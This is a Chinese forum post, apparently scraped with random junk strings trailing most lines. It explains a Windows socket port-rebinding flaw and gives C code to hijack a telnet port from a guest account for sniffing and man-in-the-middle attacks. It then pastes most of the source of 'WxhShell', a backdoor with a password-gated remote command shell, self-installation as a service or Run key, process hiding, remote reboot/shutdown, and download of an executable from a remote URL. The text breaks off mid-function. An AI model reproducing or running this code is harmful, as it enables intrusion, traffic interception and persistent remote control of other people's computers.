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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <|Z0|sel  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |a\s}M1  
L[TL~@T   
  saddr.sin_family = AF_INET; 2ix_,yTO  
={feN L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c+4SGWmO  
w_|WberU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I;mtyS  
z': >nw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 162qxR[.  
F7"Ihb^l  
  这意味着什么?意味着可以进行如下的攻击: gB~SCl54  
WtlIrdc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F ^E(AE  
IOmIkx&`GP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KE5f`h  
?58pkg J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6xBP72L;%"  
)n0g6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z,] fR  
%FF  S&vd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )Ba^Igb}  
q5OW1%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +Z{ 4OJK  
~*2PmD"+:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W}.4$f>  
1 1p\ z  
  #include wkd591d*  
  #include uHf~KYL  
  #include JBWiTUk  
  #include    FAQ:0 L$G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UT^t7MY#O  
  int main() DF&C7+hO  
  { FG8bP  
  WORD wVersionRequested;  |u$AzI  
  DWORD ret; z%;\q$  
  WSADATA wsaData; 1":{$A?OB  
  BOOL val; (bT\HW%m  
  SOCKADDR_IN saddr; <o]tW4\(R  
  SOCKADDR_IN scaddr; nFB;!r  
  int err; _;@kS<\N  
  SOCKET s; ]gmf%g'C  
  SOCKET sc; 0{B5C[PTG  
  int caddsize; *2>%>qu  
  HANDLE mt; MA1,;pv6  
  DWORD tid;   m' aakq  
  wVersionRequested = MAKEWORD( 2, 2 ); M>v M@j  
  err = WSAStartup( wVersionRequested, &wsaData ); sJ0y3)PQ  
  if ( err != 0 ) { v=`VDQWq  
  printf("error!WSAStartup failed!\n"); D(r|sw  
  return -1; c9'#G>&h~^  
  } >?tcL *  
  saddr.sin_family = AF_INET; Vy5Q+gw  
   $9l3 DJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MK"Yt<e(o  
5jsnE )  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~ R*6w($  
  saddr.sin_port = htons(23); Az.Y-O<$\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  6f{c  
  { i;\i4MT  
  printf("error!socket failed!\n"); V K NCK  
  return -1; cJhf{{_oR  
  } ]&9f:5',  
  val = TRUE; 4 5Ql7~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v =u|D$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S>*T&K  
  { Cu`ZgK LQ  
  printf("error!setsockopt failed!\n"); ! 4s $ 93  
  return -1; .KB*u*h  
  } r] ]Ke_s!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /`'50C j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '17=1\Ss6;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^QnVYTM  
QOP*vH >J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nTHP~]  
  { r1=Zoxc=w  
  ret=GetLastError(); g`Rs;  
  printf("error!bind failed!\n"); [t6)M~&e:_  
  return -1; Y8AU<M  
  } W&*{j;e9%I  
  listen(s,2); |C(72t?K  
  while(1) dIf Jr}ih  
  { - jyD!(  
  caddsize = sizeof(scaddr); '/"(`f,  
  //接受连接请求 (ncfR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =9)ypI-2  
  if(sc!=INVALID_SOCKET) 4,aBNuxWd  
  { B"EMir'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )q=1<V44d  
  if(mt==NULL) (Q'XjN\#  
  { OE[/sv  
  printf("Thread Creat Failed!\n"); tb=(L  
  break; r`&ofk1K  
  } V3m!dp]  
  } Og&2,`Jb  
  CloseHandle(mt); _{ba  
  } sVC5<?OW!p  
  closesocket(s); :4Y|%7[  
  WSACleanup(); * r%  
  return 0; Q7SS<'(  
  }   gr2zt&Z4  
  DWORD WINAPI ClientThread(LPVOID lpParam) i$F)h<OU+  
  { ' Wi*[  
  SOCKET ss = (SOCKET)lpParam; 62zlO{ >rJ  
  SOCKET sc; NKMB,b  
  unsigned char buf[4096]; )V>FU=  
  SOCKADDR_IN saddr; <D 5QlAN  
  long num; HKh)T$IZM  
  DWORD val; K E^_09  
  DWORD ret; i'57|;?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,wFLOfV@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   : ._O.O  
  saddr.sin_family = AF_INET; 0\mM^+fO  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~pw_*AN  
  saddr.sin_port = htons(23); ())|x[>JS+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \ 0CGS  
  { J7$=f~$  
  printf("error!socket failed!\n"); QvqBT  
  return -1; # ._!.P  
  } H`".L^  
  val = 100; J LeV@NO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  q)%C|  
  { d82IEhZ#  
  ret = GetLastError(); R<wb8iir  
  return -1; $Qm;F% >  
  } &,#VhT![  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g$:2c7uL  
  { w S;(u[W  
  ret = GetLastError(); bc 0|tJc  
  return -1; UIyOn` d"  
  } q|j;dI&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !.F\v .  
  { Gis'IX(  
  printf("error!socket connect failed!\n"); d }]b  
  closesocket(sc); 't>Qj7vh0  
  closesocket(ss); ZHB'^#b  
  return -1; S#""((U$  
  } B(>_.x#kv  
  while(1) Y>z(F\  
  { :<jf}[w!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a'A0CQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^ZV xBQKg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V*/))n?  
  num = recv(ss,buf,4096,0); ?Z.YJXoKZ  
  if(num>0) 6Qo6 T][  
  send(sc,buf,num,0); LyQO_mT2  
  else if(num==0) &"CS1P|  
  break; *yJb4uALB  
  num = recv(sc,buf,4096,0); me9RnPe:  
  if(num>0) %Cr- cR0  
  send(ss,buf,num,0); sG}9l1  
  else if(num==0) ?Jma^ S  
  break; $iB(N ZV  
  } c1z5t]d   
  closesocket(ss); w"Z >F]YZ  
  closesocket(sc); *]EcjK%  
  return 0 ; c=K M[s.  
  } /q^( uWu  
EUNG&U  
K>q,?x b  
========================================================== z C``G<TB  
N$3F4b%+  
下边附上一个代码,,WXhSHELL ,5/gNg  
&A`QPk8n  
========================================================== WT0U)x( m5  
8?(4E 'vf  
#include "stdafx.h"  t9=rr>8)  
MdPwuXI  
#include <stdio.h> ik]UzB  
#include <string.h> sI.Ezuw  
#include <windows.h> ~vt8|OOo0  
#include <winsock2.h> 3Y8%5/D5  
#include <winsvc.h> CR _A{(  
#include <urlmon.h> qzH97<M}T  
dW=]|t&  
#pragma comment (lib, "Ws2_32.lib") yK{~  
#pragma comment (lib, "urlmon.lib") D]0#A|n F  
%++q+pa  
#define MAX_USER   100 // 最大客户端连接数 +F@9AO>LF  
#define BUF_SOCK   200 // sock buffer +[>m`XTq  
#define KEY_BUFF   255 // 输入 buffer h;Bol  
;\H2U .  
#define REBOOT     0   // 重启 N_T;&wibO  
#define SHUTDOWN   1   // 关机 {:"bX~<^  
"{&!fD~w  
#define DEF_PORT   5000 // 监听端口 3}sd%vCK  
Hu;#uAnxQ  
#define REG_LEN     16   // 注册表键长度 EBn7waBS  
#define SVC_LEN     80   // NT服务名长度 \:Nbl<9(9  
x;C\G`9N  
// 从dll定义API eHv/3"Og  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r..Rh9v/=E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8 /\rmf\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8L&#<Ol  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mbi)mybM  
K/08F|]a  
// wxhshell配置信息 Va{`es)hky  
struct WSCFG { tewC *%3V  
  int ws_port;         // 监听端口 VbZZ=q=Kd  
  char ws_passstr[REG_LEN]; // 口令 ;Neld #%J  
  int ws_autoins;       // 安装标记, 1=yes 0=no P>)qN,a  
  char ws_regname[REG_LEN]; // 注册表键名 :lcoSJ  
  char ws_svcname[REG_LEN]; // 服务名 -ERDWY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b>o38(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M,7v}[Tbl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m. XLpD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7H=/FT?e]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oo /#]a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T[c ;},  
V RT| OUq  
}; g<tr |n  
RU@`+6 j+  
// default Wxhshell configuration ]r|X[9  
struct WSCFG wscfg={DEF_PORT, >8QLo8)3C  
    "xuhuanlingzhe", ?*Jv&f#  
    1, $_NVy>\&  
    "Wxhshell", V+DN<F-  
    "Wxhshell", [ibnI2I]`  
            "WxhShell Service", qL] !/}  
    "Wrsky Windows CmdShell Service", )f,iey\-  
    "Please Input Your Password: ", `2}Mz9mk  
  1, z#*fELV  
  "http://www.wrsky.com/wxhshell.exe", kJ{X5&,_  
  "Wxhshell.exe" >12phLu  
    }; 3g)pLW  
}ob#LC,  
// 消息定义模块 /wKL"M-%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /u5MAl.<[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m{;2!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [>v.#:YM^  
char *msg_ws_ext="\n\rExit."; RYy_Ppn96f  
char *msg_ws_end="\n\rQuit."; M2{{B ^*$6  
char *msg_ws_boot="\n\rReboot..."; gm(`SC?a  
char *msg_ws_poff="\n\rShutdown..."; H W)> `  
char *msg_ws_down="\n\rSave to "; 7$Jb"s  
]haZT\  
char *msg_ws_err="\n\rErr!"; r_F\]68  
char *msg_ws_ok="\n\rOK!"; ~4<xTP\*  
)|zLjF$  
char ExeFile[MAX_PATH]; MQ7N8@!t  
int nUser = 0; g Q6_]~4  
HANDLE handles[MAX_USER]; GU([A@;  
int OsIsNt; jEo)#j];`<  
TY"8.vd  
SERVICE_STATUS       serviceStatus; iP)`yB5`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VG_ PBG(  
[vrM,?X  
// 函数声明  At @H  
int Install(void); 3MH9%*w'0  
int Uninstall(void); N2#Wyt8MC  
int DownloadFile(char *sURL, SOCKET wsh); jJml[iC  
int Boot(int flag); Arc6d5Q  
void HideProc(void); JZ3CCf  
int GetOsVer(void); x-1RmL_%  
int Wxhshell(SOCKET wsl); m<}>'D T  
void TalkWithClient(void *cs); f{mWy1NH\  
int CmdShell(SOCKET sock); C-u'Me)H  
int StartFromService(void); q!iS Y  
int StartWxhshell(LPSTR lpCmdLine); 5$$Yce=k  
C>wOoXjt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lJb1{\|.,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jlXzfD T  
tpPP5C{  
// 数据结构和表定义 X$BN &DD  
SERVICE_TABLE_ENTRY DispatchTable[] = Di) %vU  
{ +Np[m$Z *  
{wscfg.ws_svcname, NTServiceMain}, amvD5  
{NULL, NULL} M~+}ss  
}; H{ M7_1T  
)cP &c=  
// 自我安装 QiKci%=SX  
int Install(void) wr5ScsNS  
{ F \0>/  
  char svExeFile[MAX_PATH]; R RRF/Z;))  
  HKEY key; !$n@-  
  strcpy(svExeFile,ExeFile); w2X0.2)P2  
4|U$ON?x  
// 如果是win9x系统,修改注册表设为自启动 3']a1\sy^  
if(!OsIsNt) { UlP2VKM1&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ahICx{hK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G.")Bg  
  RegCloseKey(key); 9[2qgw\D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = -bGH   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R`5g#  
  RegCloseKey(key); (/gv U80  
  return 0; 0Wkk$0h9  
    } `^v=*&   
  } JkShtLEr  
} +P! ibHfP  
else { TW?_fse*[  
/O[<"Wcz  
// 如果是NT以上系统,安装为系统服务 ~%chF/H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zsM2R"[X  
if (schSCManager!=0) YY zUg  
{ HOaNhJ{7D  
  SC_HANDLE schService = CreateService y`,;m#frT  
  ( cs lZ;  
  schSCManager, 9| g]M:{  
  wscfg.ws_svcname, Z)&!ZlM  
  wscfg.ws_svcdisp, Ko|m<;LX  
  SERVICE_ALL_ACCESS, {=%,NwPs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]z#+3DaH  
  SERVICE_AUTO_START, K<rv|bJ  
  SERVICE_ERROR_NORMAL, : E`78  
  svExeFile, _`I}"`2H  
  NULL, K'Y/0:"*  
  NULL, T>hrKn.!D:  
  NULL, gc\/A\F<  
  NULL, bN\;m^xfu  
  NULL 29AE B  
  ); Qz"+M+~%&  
  if (schService!=0) F;bkV}^  
  { ^IgQI N  
  CloseServiceHandle(schService); pwH*&YU  
  CloseServiceHandle(schSCManager); iE EP~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `w&?SXFO8  
  strcat(svExeFile,wscfg.ws_svcname); 7@&mGUALO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0GlQWRa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /a*8z,x  
  RegCloseKey(key); 5X>K#N  
  return 0; F EUfskv  
    } 2 g\O/oz  
  } w@"Zjbs`  
  CloseServiceHandle(schSCManager); kQ]4Bo  
} ]=o1to-  
} ~470LgpO1  
IL`LI J:O  
return 1; <.#jp([W>  
} QOX'ZAB`  
w\mTug  
// 自我卸载 @SH[<c  
int Uninstall(void) 1Ys)b[:  
{ &pQ[(|=(  
  HKEY key; kbL7Xjk  
rd>>=~vx=/  
if(!OsIsNt) { {Q>4zepN!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *8Su:=*b  
  RegDeleteValue(key,wscfg.ws_regname); 9M^5<8:  
  RegCloseKey(key); [,MaAB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d~MY z6"  
  RegDeleteValue(key,wscfg.ws_regname); fW Pa1E@  
  RegCloseKey(key); d U*$V7  
  return 0; KWxTN|>  
  } q44vI  
} ]cv/dY#  
} ^rs{1S  
else { _u""v   
h oO847  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "@5qjLz]  
if (schSCManager!=0) aS[y\9(**  
{ 7IFZK\V  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >0[:uu,'>  
  if (schService!=0) 8bQXC+bK  
  { <2oMk#Ng^  
  if(DeleteService(schService)!=0) { @{U UB=}9  
  CloseServiceHandle(schService); CzY18-L@EX  
  CloseServiceHandle(schSCManager); sPb}A$'  
  return 0; HY eCq9S  
  } #6 ni~d&0  
  CloseServiceHandle(schService); k]C k%[d  
  }  }D+ b`,  
  CloseServiceHandle(schSCManager); daP_Kz/2K  
} |Xm$O1Wa  
} Nmd{C(^o  
x4PzP  
return 1; $UdBZT-  
} d2NFdBoI  
F Z RnIg  
// 从指定url下载文件 ~NPhVlT  
int DownloadFile(char *sURL, SOCKET wsh) E24SD'|)  
{ p;'.7_1  
  HRESULT hr; x_I*6?  
char seps[]= "/"; *5 9|  
char *token; ~\2%h lA  
char *file; D"-Wo}"8O'  
char myURL[MAX_PATH]; +}1zw<  
char myFILE[MAX_PATH]; mA$86 X_  
g\q4-  
strcpy(myURL,sURL); $j(d`@.DN~  
  token=strtok(myURL,seps); 0:71Xm  
  while(token!=NULL) sV-P R]  
  { z. X hE \  
    file=token; ;du},>T$n  
  token=strtok(NULL,seps); !q,7@W3i  
  } nS h~ mP  
^fe,A=k~1  
GetCurrentDirectory(MAX_PATH,myFILE); < qab\M0W  
strcat(myFILE, "\\"); KQb&7k .  
strcat(myFILE, file); L C##em=Y  
  send(wsh,myFILE,strlen(myFILE),0); KAD2_@l  
send(wsh,"...",3,0); 3uxf n=E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?>{u@tYL  
  if(hr==S_OK) ! [1aP,  
return 0; &*'^uCna  
else z/h]Jos  
return 1; rm ;U' &{  
9G2rVk  
} R`DzVBLl  
?;htK_E\*  
// 系统电源模块 d/F^ez  
int Boot(int flag) y\uBVa<B  
{ <9 ^7r J  
  HANDLE hToken; )`{m |\b  
  TOKEN_PRIVILEGES tkp; i ]8bj5j{  
_b/zBFa%  
  if(OsIsNt) { yQ[;.<%v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vV$t`PEY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eR>8V8@  
    tkp.PrivilegeCount = 1; MZX)znO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Li|~%E1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ) 9 2(C  
if(flag==REBOOT) { +>1?ck  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &+@`Si=  
  return 0; %i/|}K  
} %z1^  
else { z8'zH>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;92xSe"Ww  
  return 0; svDnw cl  
} 2]9 2J  
  } g.di3GGi  
  else { 6'N_bNW  
if(flag==REBOOT) { x:~XZX\mwH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J^7M0A4K  
  return 0; O9d"Z$~n=j  
} csLbzDg  
else { aXqig&:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QN$s %&O  
  return 0; CUG"2K9  
} ^o _J0 ]m  
} i.W*Go+  
"5k 6FV  
return 1; g9JZ#BgZ  
} j7Y7&x"  
\/j,  
// win9x进程隐藏模块 =hb)e}l  
void HideProc(void) &xB9;v3  
{ ZAy/u@qt  
D6?h 6`J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DMsqTB`  
  if ( hKernel != NULL ) 56c[$ q  
  { -(WRhBpw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?.F^Oi6 u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,4'y(X<R  
    FreeLibrary(hKernel); 8]vut{  
  } ^&mrY[;S  
y0T#Qq  
return; # }}6JM  
} 1Dhe! n#  
0U*f"5F  
// 获取操作系统版本 Z:AB (c  
int GetOsVer(void) UcB&p t&  
{ W<#!He  
  OSVERSIONINFO winfo; .),9q z`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /*BU5  
  GetVersionEx(&winfo); D]"W|.6@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s#a`e]#?  
  return 1; ic!% }S?  
  else )SZ#%OE*  
  return 0; o^(I+<el  
} l(_|CkcZ  
}ff^^7_  
// 客户端句柄模块 5RWqHPw+  
int Wxhshell(SOCKET wsl) mejNa(D ^  
{ MS#*3Md&y  
  SOCKET wsh; O:rf DO  
  struct sockaddr_in client; c ~YD|l  
  DWORD myID; dWD,iO_"@  
]qXHalHY  
  while(nUser<MAX_USER) \9se~tAl3  
{ vG\]xM'u  
  int nSize=sizeof(client); A>>@&c:(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gRdE6aIZ  
  if(wsh==INVALID_SOCKET) return 1; '[Oi_gE.  
7!oqn'#>A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M=o,Sav5*  
if(handles[nUser]==0) /l+x&xYD  
  closesocket(wsh); 6{azzk8  
else < q; ]  
  nUser++; Z mi<Z  
  } J-?\,N1R7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~8pf.^,fi  
-#gb {vj  
  return 0; )r?i^D&4  
} tsfOPth$*  
.[2MPjg  
// 关闭 socket ).oqlA!  
void CloseIt(SOCKET wsh) a' #-%!]  
{ (m04Z2#  
closesocket(wsh); kP;:s  
nUser--; `t!iknOQ$  
ExitThread(0); '12|:t&7  
} 0^ E!P>  
i6`8yw  
// 客户端请求句柄 /=e[(5X|O  
void TalkWithClient(void *cs) z(\H.P#  
{ K7f-g]Ibdn  
p+8]H %  
  SOCKET wsh=(SOCKET)cs; -'}iK6  
  char pwd[SVC_LEN]; !+hX$_RT  
  char cmd[KEY_BUFF]; }(o/+H4  
char chr[1]; Plq [Ml9  
int i,j; "BFW&<1  
TJ; v}HSo  
  while (nUser < MAX_USER) { Q.y KbO<[  
:>3&"T.  
if(wscfg.ws_passstr) { 3&y u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C>K/C!5?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ok6e=c '  
  //ZeroMemory(pwd,KEY_BUFF); <BU|?T6~  
      i=0; @tj0Ir v  
  while(i<SVC_LEN) { zf o.S[R@  
q yJpm{  
  // 设置超时 rk. UW  
  fd_set FdRead; 2~`dV_  
  struct timeval TimeOut; $`=?Nb@@#  
  FD_ZERO(&FdRead); njq-iU  
  FD_SET(wsh,&FdRead); ^@19cU?q  
  TimeOut.tv_sec=8; kcOpO<oE  
  TimeOut.tv_usec=0; D$mrnm4d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #TSM#Uqe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^Q OvK>W<  
{(q U n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CD tYj  
  pwd=chr[0]; hqds T  
  if(chr[0]==0xd || chr[0]==0xa) { 5:PZ=jPR  
  pwd=0; #-f^;=7  
  break; C=b5[, UCB  
  } .XE]vo  
  i++; =|#-Rm^YB  
    } ;C{_T:LS  
"Jwz.,Y\  
  // 如果是非法用户,关闭 socket 0=5i\*5 p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5 O6MI4:  
} Y~:7l5C  
Rd$<R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W&Hf}q s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n$?oZ *;  
Lf:Z (Z>  
while(1) { \mDm *UuG  
V& nN/CF  
  ZeroMemory(cmd,KEY_BUFF); evR=Z\ _  
Rq9gtx8,=  
      // 自动支持客户端 telnet标准   <>:kAT,sP  
  j=0; }*t~&l0  
  while(j<KEY_BUFF) { Xo5L:(?K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \*N1i`99  
  cmd[j]=chr[0]; [K KoEZ  
  if(chr[0]==0xa || chr[0]==0xd) { k$2Y)  
  cmd[j]=0; -+=8&Wa  
  break; ?`XKaD! f  
  } Uoe?5Of(*  
  j++; 3 /e !7  
    } 5 9vGLN!L  
pi{ahuI#_o  
  // 下载文件 LQjqwsuN{  
  if(strstr(cmd,"http://")) { 8dH|s#.4um  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;:4puv+]  
  if(DownloadFile(cmd,wsh)) 6xe |L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0>`69&;g|  
  else rij[ZrJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >gE_?%a[  
  } ]3C8  
  else { 34=0.{qn  
iiTUhO )  
    switch(cmd[0]) { Q'VS]n  
  +=_Pl7?  
  // 帮助 On^#x]  
  case '?': { kYAvzuGRb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {V8Pn2mlo  
    break; AL0Rn e N  
  } hA8 zXk/'8  
  // 安装 \abl|;fj  
  case 'i': { 2YyZiOMSc  
    if(Install()) EHZSM5hu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 63HkN4D4  
    else 0FOf *Lz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +0 MKh  
    break; .vO.g/o  
    } Tt\w^Gv\d  
  // 卸载 q1y4B`  
  case 'r': { F?=u:  
    if(Uninstall()) J%)2,szn0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q6K)EwN  
    else L ~w=O!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eW0=m:6  
    break; 9K|lU:,  
    } ~<aB-. d  
  // 显示 wxhshell 所在路径 u*{ _WL[(  
  case 'p': { "tM/`:Qp  
    char svExeFile[MAX_PATH]; ,X^_w g  
    strcpy(svExeFile,"\n\r"); O 0#Jl8  
      strcat(svExeFile,ExeFile); AX+d?M  
        send(wsh,svExeFile,strlen(svExeFile),0); F6p1 VFs  
    break; ~-d.3A $u  
    } 0K ?(xB  
  // 重启 #=(op?]  
  case 'b': { y6}):|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +`8)U3u0  
    if(Boot(REBOOT)) ItADO'M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E,7~kd~y`  
    else { dU6LB+A  
    closesocket(wsh); \aIy68rH,  
    ExitThread(0); <q\) o_tH  
    } s.'\&B[  
    break; =joXP$n^  
    }  c^s>  
  // 关机 2< Bv=B  
  case 'd': { v Lv@Mo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +o]BjgG  
    if(Boot(SHUTDOWN)) +E|ouFI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (PcK(C!}=\  
    else { .To:tN#  
    closesocket(wsh); DWQQ615i  
